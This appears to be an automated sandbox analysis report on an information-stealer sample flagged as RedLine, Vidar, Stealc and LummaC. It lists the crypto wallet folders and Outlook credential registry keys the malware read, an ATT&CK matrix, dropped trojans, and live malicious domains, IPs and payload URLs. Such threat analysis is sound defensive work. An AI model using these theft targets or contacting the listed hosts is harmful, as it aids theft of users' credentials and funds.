Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3153652964.000000000120A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6688, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5632, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 30.2.AAAKEBGDAF.exe.3dd5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.AAAKEBGDAF.exe.3dd5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3584946793.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3126199282.0000000003DD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 7.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6688, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E0C40 sqlite3_bind_zeroblob,	7_2_6C6E0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E0D60 sqlite3_bind_parameter_name,	7_2_6C6E0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C608EA0 sqlite3_clear_bindings,	7_2_6C608EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	7_2_6C6E0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C606410 bind,WSAGetLastError,	7_2_6C606410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C606070 PR_Listen,	7_2_6C606070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C60C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	7_2_6C60C050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C60C030 sqlite3_bind_parameter_count,	7_2_6C60C030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6060B0 listen,WSAGetLastError,	7_2_6C6060B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5922D0 sqlite3_bind_blob,	7_2_6C5922D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6063C0 PR_Bind,	7_2_6C6063C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	57 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	351 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
66fb252fe232b_Patksl.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.RedlineStealer

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\AAAKEBGDAF.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.RedlineStealer
C:\ProgramData\EBKJDBAAKJ.exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\ProgramData\HDGIJJDGCB.exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userBAKKEGCAAE.exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\Users\userDHCAECGIEB.exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc301a31_swws[1].exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc9963ca_ldfsna[1].exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfccd837ac_vadggdsa[1].exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfcc9963ca_ldfsna[1].exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfccd837ac_vadggdsa[1].exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	61%	ReversingLabs	Win32.Trojan.RedlineStealer

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
http://www.entrust.net/rpa03	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
treatynreit.site	104.21.84.18	true	true	unknown
mysterisop.site	104.21.21.3	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
iplogger.org	104.26.3.46	true	false	unknown
api64.ipify.org	173.231.16.77	true	false	unknown
snarlypagowo.site	104.21.18.193	true	true	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
questionsmw.store	104.21.77.132	true	true	unknown
absorptioniw.site	172.67.177.186	true	true	unknown
abnomalrkmu.site	104.21.56.150	true	true	unknown
gravvitywio.store	104.21.16.12	true	true	unknown
ipinfo.io	34.117.59.81	true	false	unknown
soldiefieop.site	188.114.96.3	true	true	unknown
chorusarorp.site	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://49.12.197.9/	true		unknown
https://abnomalrkmu.site/api	true		unknown
https://soldiefieop.site/api	true		unknown
https://49.12.197.9/sqlp.dll	true		unknown
https://49.12.197.9/softokn3.dll	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
questionsmw.stor	true		unknown
https://49.12.197.9/vcruntime140.dll	true		unknown
https://49.12.197.9/nss3.dll	true		unknown
https://api64.ipify.org/?format=json	false		unknown
https://steamcommunity.com/profiles/76561199780418869	true		unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
https://gravvitywio.store/api	true		unknown
chorusarorp.site	true		unknown
snarlypagowo.site	true		unknown
https://49.12.197.9/msvcp140.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	false	URL Reputation: safe	unknown
http://46.8.231.	RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllh	RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exerm-data;	RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	false	URL Reputation: safe	unknown
https://49.12.197.9/-end-point:P	RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000051F000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=pvBDaFhF2LLJ&l=e	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false		unknown
https://www.youtube.com	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	d4BihqytT0FhOpDvoGEczZzm.exe, 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://49.12.197.9/Qp	RegAsm.exe, 0000001D.00000002.3633419758.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe1kkkk1265574http://147.45.44.104/ldms/66fbfccd837a	RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004DA000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	d4BihqytT0FhOpDvoGEczZzm.exe, 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199780418869=	RegAsm.exe, 0000001D.00000002.3633419758.0000000001230000.00000004.00000020.00020000.00000000.sdmp	false		unknown
